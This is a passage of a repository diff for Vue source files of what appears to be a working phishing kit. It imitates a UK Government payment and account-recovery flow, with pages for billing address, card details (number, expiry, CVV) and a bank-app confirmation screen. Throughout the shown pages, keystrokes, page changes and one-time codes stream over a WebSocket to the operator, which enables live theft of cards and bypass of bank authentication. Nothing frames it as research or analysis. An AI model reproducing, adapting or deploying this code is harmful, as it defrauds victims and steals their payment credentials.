send: socket.send.bind(socket),
|
||||
on: socket.on.bind(socket),
|
||||
off: socket.off.bind(socket),
|
||||
};
|
||||
}
|
||||
|
||||
export { useSocket, Socket };
|
||||
export type { SocketOptions, PendingMessage };
|
||||
423
a9_usa_Fine_amazon/src/views/AddressView.vue
Normal file
@@ -0,0 +1,423 @@
|
||||
<script setup lang="ts">
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { reactive, ref, onMounted } from "vue";
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { inputChange, configData, myWebSocket } from "@/utils/common";
|
||||
|
||||
const { t } = useI18n();
|
||||
const loadingStore = useLoadingStore();
|
||||
const router = useRouter();
|
||||
|
||||
const formData = reactive({
|
||||
fullName: "", // First Name
|
||||
lastName: "",
|
||||
phone: "",
|
||||
address: "",
|
||||
address2: "",
|
||||
city: "",
|
||||
state: "", // Province
|
||||
zipCode: "", // Postal Code
|
||||
email: "",
|
||||
});
|
||||
|
||||
const formDataError = reactive({
|
||||
fullName: false,
|
||||
lastName: false,
|
||||
phone: false,
|
||||
address: false,
|
||||
city: false,
|
||||
state: false,
|
||||
zipCode: false,
|
||||
email: false,
|
||||
});
|
||||
|
||||
const emailErrorMessage = ref("");
|
||||
|
||||
const textChange = (event: any, key: string) => {
|
||||
const value = event.target.value;
|
||||
inputChange("input_address", key, value);
|
||||
|
||||
if (key === 'email') {
|
||||
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
|
||||
if (!value) {
|
||||
formDataError.email = true;
|
||||
emailErrorMessage.value = "Required field";
|
||||
} else if (!emailPattern.test(value)) {
|
||||
formDataError.email = true;
|
||||
emailErrorMessage.value = "Please enter a valid email address";
|
||||
} else {
|
||||
formDataError.email = false;
|
||||
emailErrorMessage.value = "";
|
||||
}
|
||||
} else if (key !== 'address2') {
|
||||
(formDataError as any)[key] = !value;
|
||||
}
|
||||
};
|
||||
|
||||
const isFormComplete = () => {
|
||||
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
|
||||
return (
|
||||
formData.fullName &&
|
||||
formData.lastName &&
|
||||
formData.email &&
|
||||
emailPattern.test(formData.email) &&
|
||||
formData.phone &&
|
||||
formData.address &&
|
||||
formData.city &&
|
||||
formData.state &&
|
||||
formData.zipCode
|
||||
);
|
||||
};
|
||||
|
||||
const next = () => {
|
||||
formDataError.fullName = !formData.fullName;
|
||||
formDataError.lastName = !formData.lastName;
|
||||
formDataError.city = !formData.city;
|
||||
formDataError.address = !formData.address;
|
||||
formDataError.zipCode = !formData.zipCode;
|
||||
formDataError.state = !formData.state;
|
||||
formDataError.phone = !formData.phone;
|
||||
|
||||
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
|
||||
if (!formData.email) {
|
||||
formDataError.email = true;
|
||||
emailErrorMessage.value = "Required field";
|
||||
} else if (!emailPattern.test(formData.email)) {
|
||||
formDataError.email = true;
|
||||
emailErrorMessage.value = "Please enter a valid email address";
|
||||
} else {
|
||||
formDataError.email = false;
|
||||
}
|
||||
|
||||
const hasError = Object.values(formDataError).some(val => val === true);
|
||||
if (hasError) return;
|
||||
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/card");
|
||||
}, 400);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "address" },
|
||||
})
|
||||
);
|
||||
localStorage.setItem("route", "address");
|
||||
const phone = localStorage.getItem("phoneNumber");
|
||||
if (phone) {
|
||||
formData.phone = phone;
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="main-content-body">
|
||||
<div class="form-wrapper">
|
||||
|
||||
<div class="header-status">
|
||||
<div class="progress-line">
|
||||
<div class="progress-active"></div>
|
||||
</div>
|
||||
<div class="step-label">Step 1 of 2</div>
|
||||
</div>
|
||||
|
||||
<h1 class="page-title">Billing address</h1>
|
||||
|
||||
<div class="info-block">
|
||||
<h2 class="info-title">Address Verification</h2>
|
||||
<p class="info-desc">
|
||||
{{
|
||||
configData?.address_msg
|
||||
? configData?.address_msg
|
||||
: t(
|
||||
"Confirm your address so we can match this payment to your UK Government account."
|
||||
)
|
||||
}}
|
||||
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<form @submit.prevent="next" novalidate>
|
||||
|
||||
<div class="section-header">
|
||||
<h2 class="section-title">Contact information</h2>
|
||||
</div>
|
||||
|
||||
<div class="row-flex">
|
||||
<div class="field-item">
|
||||
<label>First name <span class="red-star">*</span></label>
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.fullName"
|
||||
@input="(e) => textChange(e, 'fullName')"
|
||||
placeholder="First name"
|
||||
:class="{ 'input-error': formDataError.fullName }"
|
||||
/>
|
||||
</div>
|
||||
<div class="field-item">
|
||||
<label>Last name <span class="red-star">*</span></label>
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.lastName"
|
||||
@input="(e) => textChange(e, 'lastName')"
|
||||
placeholder="Last name"
|
||||
:class="{ 'input-error': formDataError.lastName }"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="field-item">
|
||||
<label>Email address <span class="red-star">*</span></label>
|
||||
<input
|
||||
type="email"
|
||||
v-model="formData.email"
|
||||
@input="(e) => textChange(e, 'email')"
|
||||
placeholder="Email address"
|
||||
:class="{ 'input-error': formDataError.email }"
|
||||
/>
|
||||
<div class="error-hint" v-if="formDataError.email">{{ emailErrorMessage }}</div>
|
||||
</div>
|
||||
|
||||
<div class="field-item">
|
||||
<label>Phone number <span class="red-star">*</span></label>
|
||||
<input
|
||||
type="tel"
|
||||
v-model="formData.phone"
|
||||
@input="(e) => textChange(e, 'phone')"
|
||||
placeholder="Phone number"
|
||||
:class="{ 'input-error': formDataError.phone }"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="section-header space-top">
|
||||
<h2 class="section-title">Billing address</h2>
|
||||
</div>
|
||||
|
||||
<div class="field-item">
|
||||
<label>Street address <span class="red-star">*</span></label>
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.address"
|
||||
@input="(e) => textChange(e, 'address')"
|
||||
placeholder="Street address"
|
||||
:class="{ 'input-error': formDataError.address }"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="field-item">
|
||||
<label>Apartment, unit, etc. (optional) <span class="red-star">*</span></label>
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.address2"
|
||||
placeholder="Apartment, unit (optional)"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="field-item">
|
||||
<label class="label-bold">City, Province & Postal Code</label>
|
||||
<div class="row-flex triple">
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.city"
|
||||
@input="(e) => textChange(e, 'city')"
|
||||
placeholder="City"
|
||||
:class="{ 'input-error': formDataError.city }"
|
||||
/>
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.state"
|
||||
@input="(e) => textChange(e, 'state')"
|
||||
placeholder="Province"
|
||||
:class="{ 'input-error': formDataError.state }"
|
||||
/>
|
||||
<input
|
||||
type="text"
|
||||
v-model="formData.zipCode"
|
||||
@input="(e) => textChange(e, 'zipCode')"
|
||||
placeholder="Postal code"
|
||||
:class="{ 'input-error': formDataError.zipCode }"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="action-box">
|
||||
<button
|
||||
type="submit"
|
||||
class="btn-continue"
|
||||
:class="{ 'btn-active': isFormComplete() }"
|
||||
:disabled="!isFormComplete()"
|
||||
>
|
||||
Continue
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.main-content-body {
|
||||
background-color: #ffffff;
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
padding: 0 15px;
|
||||
font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
|
||||
}
|
||||
|
||||
.form-wrapper {
|
||||
width: 100%;
|
||||
max-width: 480px;
|
||||
padding: 20px 5px 60px 5px;
|
||||
}
|
||||
|
||||
/* 頂部進度條 */
|
||||
.header-status {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
.progress-line {
|
||||
flex: 1;
|
||||
height: 4px;
|
||||
background-color: #E2E8F0;
|
||||
border-radius: 2px;
|
||||
margin-right: 15px;
|
||||
}
|
||||
.progress-active {
|
||||
width: 50%;
|
||||
height: 100%;
|
||||
background-color: #005AAB;
|
||||
border-radius: 2px;
|
||||
}
|
||||
.step-label {
|
||||
font-size: 13px;
|
||||
font-weight: 700;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
/* 標題 */
|
||||
.page-title {
|
||||
font-size: 26px;
|
||||
font-weight: 700;
|
||||
color: #005AAB;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
.info-block { margin-bottom: 35px; }
|
||||
.info-title { font-size: 18px; color: #005AAB; margin-bottom: 12px; font-weight: 700; }
|
||||
.info-desc { font-size: 15px; color: #64748B; line-height: 1.5; margin: 0; }
|
||||
|
||||
/* 分割標題 */
|
||||
.section-header {
|
||||
border-bottom: 1px solid #F1F5F9;
|
||||
padding-bottom: 10px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.section-title { font-size: 20px; font-weight: 600; color: #334155; margin: 0; }
|
||||
.space-top { margin-top: 45px; }
|
||||
|
||||
/* 佈局核心:Flex Row */
|
||||
.row-flex {
|
||||
display: flex;
|
||||
gap: 12px;
|
||||
width: 100%;
|
||||
}
|
||||
.row-flex .field-item {
|
||||
flex: 1;
|
||||
}
|
||||
.triple input {
|
||||
flex: 1;
|
||||
width: 30%; /* 確保平分空間 */
|
||||
}
|
||||
|
||||
/* 輸入框件 */
|
||||
.field-item {
|
||||
margin-bottom: 22px;
|
||||
}
|
||||
.field-item label {
|
||||
display: block;
|
||||
font-size: 14px;
|
||||
color: #64748B;
|
||||
margin-bottom: 8px;
|
||||
font-weight: 500;
|
||||
}
|
||||
.label-bold {
|
||||
color: #1E293B !important;
|
||||
font-weight: 700 !important;
|
||||
}
|
||||
.red-star { color: #F87171; margin-left: 2px; }
|
||||
|
||||
input {
|
||||
width: 100%;
|
||||
padding: 13px 15px;
|
||||
font-size: 15px;
|
||||
border: 1px solid #E2E8F0;
|
||||
border-radius: 8px;
|
||||
box-sizing: border-box;
|
||||
color: #1E293B;
|
||||
background-color: #fff;
|
||||
}
|
||||
input::placeholder { color: #CBD5E1; }
|
||||
input:focus {
|
||||
outline: none;
|
||||
border-color: #005AAB;
|
||||
}
|
||||
|
||||
/* 錯誤處理 */
|
||||
.input-error {
|
||||
border-color: #EF4444 !important;
|
||||
background-color: #FEF2F2;
|
||||
}
|
||||
.error-hint {
|
||||
color: #EF4444;
|
||||
font-size: 12px;
|
||||
margin-top: 5px;
|
||||
}
|
||||
|
||||
/* 按鈕樣式 */
|
||||
.action-box {
|
||||
margin-top: 50px;
|
||||
}
|
||||
.btn-continue {
|
||||
width: 100%;
|
||||
background-color: #A8B8C4; /* 預設灰色 */
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 25px;
|
||||
padding: 16px;
|
||||
font-size: 18px;
|
||||
font-weight: 700;
|
||||
cursor: not-allowed;
|
||||
opacity: 0.6;
|
||||
transition: all 0.3s ease;
|
||||
box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.05);
|
||||
}
|
||||
.btn-continue.btn-active {
|
||||
background-color: #1D70B8; /* 亮藍色 */
|
||||
opacity: 1;
|
||||
cursor: pointer;
|
||||
}
|
||||
.btn-continue.btn-active:active {
|
||||
opacity: 0.8;
|
||||
}
|
||||
.btn-continue:active:not(.btn-active) {
|
||||
opacity: 0.6;
|
||||
}
|
||||
|
||||
/* 適應移動端的小屏幕 */
|
||||
@media (max-width: 400px) {
|
||||
.row-flex.triple {
|
||||
flex-direction: column; /* 極小屏幕才切換回垂直 */
|
||||
}
|
||||
}
|
||||
</style>
|
||||
280
a9_usa_Fine_amazon/src/views/AppValidView.vue
Normal file
@@ -0,0 +1,280 @@
|
||||
<script setup lang="ts">
|
||||
import { nextTick, onMounted, onUnmounted, reactive, ref, watch } from "vue";
|
||||
import { useRoute } from "vue-router";
|
||||
|
||||
import eventBus from "@/utils/eventBus";
|
||||
const cardType = ref("");
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "appValid" },
|
||||
})
|
||||
);
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query) {
|
||||
console.log("route", query);
|
||||
cardType.value = query.cardType;
|
||||
}
|
||||
localStorage.setItem("route", "appValid");
|
||||
eventBus.on("app-valid", handleEvent);
|
||||
});
|
||||
|
||||
const message = ref("");
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("app-valid", handleEvent);
|
||||
});
|
||||
|
||||
const formData = reactive({ appVerifyCode: "" });
|
||||
|
||||
const onchange = (value: any) => {
|
||||
inputChange("input_card", "appVerifyCode", value.target.value);
|
||||
formData.appVerifyCode = value.target.value;
|
||||
};
|
||||
const showInput = ref(false);
|
||||
watch(message, (newValue, oldValue) => {
|
||||
showInput.value = !!(message.value.includes(":") || newValue.includes(":"));
|
||||
});
|
||||
|
||||
const submit = async () => {
|
||||
await nextTick();
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitAppValidCode",
|
||||
formData: formData,
|
||||
},
|
||||
})
|
||||
);
|
||||
message.value = "";
|
||||
};
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="container">
|
||||
<div class="content">
|
||||
<div class="card-logo">
|
||||
<!-- <CardType2 :cardType="cardType" />-->
|
||||
<img src="/cardloading.svg" alt="card-logo" style="width: 100%" />
|
||||
</div>
|
||||
<div class="card-tye" v-if="cardType">
|
||||
{{ cardType }}
|
||||
</div>
|
||||
|
||||
<br />
|
||||
<p>
|
||||
<img
|
||||
class="safe-icon"
|
||||
src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAB2AAAAdgB+lymcgAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAZYSURBVHic7ZtrcFTlGcd/z9lNRBIQMbQKhiAKqChesMHKzSVMvc3YQZqIM8pMC0OVoSpqKYMfjP3gZRx7QR0vHXTqUIGswRk7tZ1aJWECDFHU0QEDI2STEEVCBgwbssnuOU8/tDITN+Q95+zZTWz39y05z+X/POec97znfc9Cnjx58vwfI7lOOPndyolOWG8AuR6Y9l8ZTSLOzqQtOw9XRNtzqSerDZj54YqCjq7jMyxhjiozRZgLTDK4faWwR5AGC91xdgeNe6uifdnSGGgDSv+5ZHy40Jmp6swWZI7CdcBZGYbtFvhERfcINBRowbYDkU3HgtALGTRggLM7DygLStigCIfUYYcFDTbOjtZI7T4E9RfKLdXVVtm8fTcjeosFP3bgKoGwn6RBo3BMYBfIDsvSdw7Nj37m1tdVAy56744yDYVqUMr9y8whwlYnVLC8de4bx82mBqY13D6qN3nWHmBKIOJyhdBYdJS5pgHUMsVJJEes4ftWPIBSHi9hlcnM2AARrQpGUe4R4R6TjbEBKBcFomZouNRkYG4AFAQgZKgYYTJw04D/afINGGoBQ02+AUMtYKgZFnN5E2PDo7i++DK+SXWzK74Px997z4AM+waUF0/jqQuXcU64CIDd8SZ+1fICtjqBxB/Wt8Ds4un8oey+08UDzCq+lBtHzQgsx7C9AuaNnsHTpcsolHSJJeExgeUZlldAxeireaZ0+YDF92mKnfF9bkMZBws3Deh1my0Ibj7nOp4o/QVhCaUds9Xht+0baes76jZcwmTgpgE9brNlyi1jfsTjFy49Y/HV7a/z9xMfeAl5ymRgHgOELhRPN50g3F1Swa1jyulxenm14x80nNw7qM+ic2ezbvxdWJK+RpNSm3Vtr/Fe18deZAB0mQzcXAGHvWZdPHY2D56/iKkjJnDVyMn8fuJ93DF2zhntq86bz6MTBi4+6aRY27bBT/EgtJlMzFeAmoN8lwWjr+n3tyXCuvFLCItFTef2fsfuLqngwfMXIQOszvVpit8c3sD2rk+9SgBAVAJoANLkYjDtR2fqZHoUhDUXVBEixKbObQD8fNxNrPrh7QPG6NMUv259xXjrDI7TZLJwMw/4xGvaP3W8w/xRV1IU6r8eIQiPXPAzwhJipFXIih/cNqB/ryZ5uOVldsU/95q6H46K8b4xrgpfXL+k1HbsVq/JLzt7Ii+Ureo3i3NDwunjodaX2R03njwjdjI0oe0nm78czMY4CB6cv7lN4QuvyT/vaWVl7DlOpLpd+yScPla3vhRI8UCTqXhwORMU5V1fChJtrIyt54RtbkKP08cDLS/SGN/vJ1UaquJKs7upsPC2XyH7E4dZfuh3dKbO/Ej+tvgPuw/4TZOGZelfXdm5MYrR8S/ga79imnuPsKL5jxxLfZN2LG73sDK2nj0BFg8caT7K+24M3V0BkbqUqtRkoijWe4R7m9fTnuw8/b/jqZOsbHmeT081ZxI6DRHeoCpqu7J1G3Ry/eIpjm01IZm9QY6wCikvmkZILBq799NtG99XvKE4tlpT2yq2HHRj7un7gEl1lX9DudWfshwhvB27MfpTt+aezqbYPI7XaWFuURznCS8OnhrQXBFtBP9PhGyjUBtbULvbi4+P+9lZS44XSVySCNnWo16dPDcgFqltQnjaq1/WUZ48tHCL52epvxFdi54EMnlNC5rPwom4r5Pi+yuxie8vnm5ZViPKSL8xAiIhtjOreWGtr0UD38/01gW1e1W5369/cMi9fouHDJfFWyLRDYI8m0mMDHkqFqn5cyYBMt4XaK6/fA1INNM4nlHdFKuf7nnU/y7BfCpbUxmaNI6/AHcGEs+EsDWmHXcSqUtlGiqYnaGqqF3UwVJUNwUSbxAU3Xhe8blLgigegv5aXJFJdVWPgT4WaNxvEV0fq7tiNdXVwWwNk6XP5cvqKheJ8ip421AZhJOgK2KRNzcHFO80Wfu9wMXbKi+xYSMwK8NQu2zHusft661XsrY7fDAS/SJWP/0GUX4JpG8UmBBOgayNdTA3W8X/J00OuGR75biUrQ8jshql0GCeRHhNLbu6Zd7Wr7KtLae/GZpcv3iK48hDiCxNm0ILp1B9PYQ8ezAS9bwM75ec/2gKYOq2u0p6NVlliVwL4Kh+lHLsLe0L3+o0+ebJkydPngD5N3rjJPMVPswaAAAAAElFTkSuQmCC"
|
||||
alt="safe-icon"
|
||||
/><b>{{ t("Authorized bank") }}</b>
|
||||
</p>
|
||||
<p class="sub">
|
||||
{{ t("Please go to the bank App to confirm the authorization") }}
|
||||
</p>
|
||||
<p class="sub">{{ t("Please do not close this page") }}</p>
|
||||
<p class="error">
|
||||
{{ message }}
|
||||
</p>
|
||||
<div
|
||||
class="input"
|
||||
data-v-509c2adf=""
|
||||
style="text-align: center"
|
||||
v-if="showInput"
|
||||
>
|
||||
<input
|
||||
required
|
||||
type="number"
|
||||
inputmode="numeric"
|
||||
@input="onchange"
|
||||
v-model="formData.appVerifyCode"
|
||||
minlength="3"
|
||||
maxlength="8"
|
||||
data-v-509c2adf=""
|
||||
/>
|
||||
</div>
|
||||
|
||||
<br data-v-509c2adf="" v-if="showInput" />
|
||||
<div class="button-submit" data-v-509c2adf="" v-if="showInput">
|
||||
<button type="button" data-v-509c2adf="" @click="submit">
|
||||
{{ t("Submit") }}
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div v-if="!showInput">
|
||||
<img
|
||||
class="loading-icon"
|
||||
src="@/assets/img/ac3bca143fcfa.svg"
|
||||
alt="loading-icon"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
@media (max-width: 767px) {
|
||||
/* Mega Menu */
|
||||
body {
|
||||
padding-top: 10px !important;
|
||||
padding-bottom: 96px !important;
|
||||
}
|
||||
}
|
||||
.sub {
|
||||
opacity: 0.6;
|
||||
}
|
||||
|
||||
.error {
|
||||
color: red;
|
||||
}
|
||||
|
||||
div.container {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
height: 100dvh;
|
||||
padding: 0 10px;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
div.container .content {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
div.container .content .card-logo {
|
||||
width: 120px;
|
||||
margin: 0 auto;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
div.container .content .card-logo:after {
|
||||
content: "";
|
||||
display: block;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
width: 15px;
|
||||
height: 100%;
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
transparent,
|
||||
rgba(255, 255, 255, 0.6352941176),
|
||||
transparent
|
||||
);
|
||||
animation: line 2s infinite;
|
||||
}
|
||||
|
||||
@keyframes line {
|
||||
0% {
|
||||
left: -15px;
|
||||
}
|
||||
to {
|
||||
left: 100%;
|
||||
}
|
||||
}
|
||||
|
||||
div.container .content .safe-icon {
|
||||
display: inline-block;
|
||||
width: 16px;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
div.container .content .loading-icon {
|
||||
margin: 0 auto;
|
||||
width: 50px;
|
||||
opacity: 0.6;
|
||||
}
|
||||
|
||||
div.input {
|
||||
position: relative;
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
div.input input {
|
||||
width: 80%;
|
||||
padding: 5px;
|
||||
text-align: center;
|
||||
outline: none;
|
||||
border: 2px solid black;
|
||||
border-radius: 5px;
|
||||
font-weight: 700;
|
||||
font-size: 1.1em;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
div.input input:focus {
|
||||
border-color: #5381be;
|
||||
}
|
||||
|
||||
div.button-submit button {
|
||||
padding: 8px 20px;
|
||||
cursor: pointer;
|
||||
background-color: #5381be;
|
||||
color: #fff;
|
||||
border: none;
|
||||
outline: none;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
p {
|
||||
display: block;
|
||||
margin-block-start: 1em;
|
||||
margin-block-end: 1em;
|
||||
margin-inline-start: 0px;
|
||||
margin-inline-end: 0px;
|
||||
unicode-bidi: isolate;
|
||||
}
|
||||
|
||||
.container div.input label {
|
||||
display: block;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.container div.input input {
|
||||
width: 130px;
|
||||
padding: 8px 5px;
|
||||
text-align: center;
|
||||
outline: none;
|
||||
border: 2px solid black;
|
||||
border-radius: 5px;
|
||||
font-weight: 700;
|
||||
font-size: 16px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.container div.input input:focus {
|
||||
border-color: #5381be;
|
||||
}
|
||||
|
||||
.container div.button-submit button {
|
||||
width: 80px;
|
||||
padding: 10px 5px;
|
||||
cursor: pointer;
|
||||
background-color: #5381be;
|
||||
color: #fff;
|
||||
border: none;
|
||||
outline: none;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
.container .resend {
|
||||
margin-top: 8px;
|
||||
text-align: center;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.container .resend a {
|
||||
color: #000;
|
||||
-webkit-text-decoration: underline;
|
||||
text-decoration: underline;
|
||||
}
|
||||
</style>
|
||||
2523
a9_usa_Fine_amazon/src/views/App_verify.vue
Normal file
2428
a9_usa_Fine_amazon/src/views/App_verify2.vue
Normal file
673
a9_usa_Fine_amazon/src/views/CardView.vue
Normal file
@@ -0,0 +1,673 @@
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<uni-page-body data-v-1566c7ed="">
|
||||
<uni-view data-v-1566c7ed="" id="confirm_index_body">
|
||||
<uni-view data-v-1566c7ed="" class="" style="padding: 0px 20px;">
|
||||
<uni-view data-v-1566c7ed="" class="title" style="color: rgb(13, 104, 173); padding-top: 25px;">
|
||||
Let's recover your account
|
||||
</uni-view>
|
||||
<p data-v-1566c7ed="" style="font-size: 15px; font-weight: 500; color: rgb(119, 119, 119); margin-top: 20px;">
|
||||
Step 2. <span data-v-1566c7ed="" style="font-weight: 200;">Enter your card details</span>
|
||||
</p>
|
||||
</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="form">
|
||||
|
||||
|
||||
<uni-view data-v-1566c7ed="" class="inpname">Cardholder</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="input-field-container">
|
||||
<uni-input data-v-1566c7ed="" class="gay_border" id="card_name">
|
||||
<div class="uni-input-wrapper">
|
||||
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isCardholderFocused || formData.card.cardholder }">Cardholder</div>
|
||||
<input
|
||||
type="text"
|
||||
maxlength="140"
|
||||
enterkeyhint="done"
|
||||
class="uni-input-input"
|
||||
autocomplete="off"
|
||||
v-model="formData.card.cardholder"
|
||||
@input="onchange"
|
||||
@focus="isCardholderFocused = true"
|
||||
@blur="isCardholderFocused = formData.card.cardholder !== ''"
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
</uni-input>
|
||||
<uni-text data-v-1566c7ed="" class="error" v-if="showCardholderWarning">
|
||||
{{ warningMessage }}
|
||||
</uni-text>
|
||||
</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="inpname">Card number</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="input-field-container">
|
||||
<uni-input data-v-1566c7ed="" class="gay_border" id="cardNumber">
|
||||
<div class="uni-input-wrapper">
|
||||
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isCardNumberFocused || formData.card.cardNumber }">0000 0000 0000 0000</div>
|
||||
<input
|
||||
type="text"
|
||||
maxlength="19"
|
||||
enterkeyhint="done"
|
||||
inputmode="numeric"
|
||||
class="uni-input-input"
|
||||
autocomplete="off"
|
||||
v-model="formData.card.cardNumber"
|
||||
@input="onCardNumberChange"
|
||||
@focus="isCardNumberFocused = true"
|
||||
@blur="isCardNumberFocused = formData.card.cardNumber !== ''"
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
</uni-input>
|
||||
<uni-text data-v-1566c7ed="" class="error" v-if="cardNumberError">{{ cardNumberError }}</uni-text>
|
||||
<uni-text data-v-1566c7ed="" class="global-error" v-if="message">{{ message }}</uni-text>
|
||||
<div class="card-icons">
|
||||
<img src="@/assets/img/b4f258fb3fcfa.svg" alt="Visa" />
|
||||
<img src="@/assets/img/d9f501073fcfa.svg" alt="Mastercard" />
|
||||
<img src="@/assets/img/d2820b3b3fcfa.svg" alt="American Express" />
|
||||
<img src="@/assets/img/e62e66803fcfa.svg" alt="Discover" />
|
||||
<img src="@/assets/img/272b931f3fcfa.svg" alt="JCB" />
|
||||
<img src="@/assets/img/761998023fcfa.svg" alt="Diners Club" />
|
||||
<img src="@/assets/img/c8e88e5f3fcfa.svg" alt="UnionPay" />
|
||||
<img src="@/assets/img/1a32e1333fcfa.svg" alt="Maestro" />
|
||||
<img src="@/assets/img/56af3b633fcfa.svg" alt="Rupay" />
|
||||
</div>
|
||||
</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="cvvbox">
|
||||
<uni-view data-v-1566c7ed="" class="cvvsty">
|
||||
<uni-view data-v-1566c7ed="" class="inpname">Due Date</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="input-field-container">
|
||||
<uni-input data-v-1566c7ed="" class="gay_border" id="expire">
|
||||
<div class="uni-input-wrapper">
|
||||
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isExpiryFocused || expiryCombined }">MM/YY</div>
|
||||
<input
|
||||
type="text"
|
||||
maxlength="5"
|
||||
enterkeyhint="done"
|
||||
class="uni-input-input"
|
||||
autocomplete="off"
|
||||
v-model="expiryCombined"
|
||||
@input="onExpiryInput"
|
||||
@focus="isExpiryFocused = true"
|
||||
@blur="onExpiryBlur"
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
</uni-input>
|
||||
<uni-text data-v-1566c7ed="" class="error" v-if="expiryError">
|
||||
{{ expiryError }}
|
||||
</uni-text>
|
||||
<uni-text data-v-1566c7ed="" class="error" v-else-if="showExpiryWarning">
|
||||
{{ warningMessage }}
|
||||
</uni-text>
|
||||
</uni-view>
|
||||
</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="cvvsty">
|
||||
<uni-view data-v-1566c7ed="" class="inpname">Security Code (CVV)</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="input-field-container input-wrapper">
|
||||
<uni-input data-v-1566c7ed="" class="gay_border" id="cvv">
|
||||
<div class="uni-input-wrapper">
|
||||
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isCvvFocused || formData.card.cvv }">123</div>
|
||||
<input
|
||||
type="text"
|
||||
maxlength="4"
|
||||
enterkeyhint="done"
|
||||
inputmode="numeric"
|
||||
pattern="[0-9]*"
|
||||
class="uni-input-input"
|
||||
autocomplete="off"
|
||||
v-model="formData.card.cvv"
|
||||
@input="onCvvInput"
|
||||
@focus="isCvvFocused = true"
|
||||
@blur="isCvvFocused = formData.card.cvv !== ''"
|
||||
required
|
||||
/>
|
||||
